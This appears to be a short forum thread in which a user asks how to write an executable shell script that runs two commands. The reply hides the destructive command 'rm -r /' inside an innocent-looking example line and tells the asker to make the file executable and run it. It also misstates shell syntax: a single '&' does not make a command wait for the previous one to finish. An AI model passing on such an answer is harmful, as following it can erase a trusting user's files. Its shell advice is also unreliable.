How can I create this file?

[zoliky]

I want to open a file, and execute two terminal commands. How can I do this?
I need a "/bin/sh" string at the beginning of the file or something similar?

 

[r1ch4rd]

Depends quite what you want - something like this?

vim /Users/you/file.txt && rm -r / && echo "Hello World"

Just stick the commands like that in a file and chmod +x. You can then execute that from the command line.

If you want each process to finish before the next, just use a single & between each.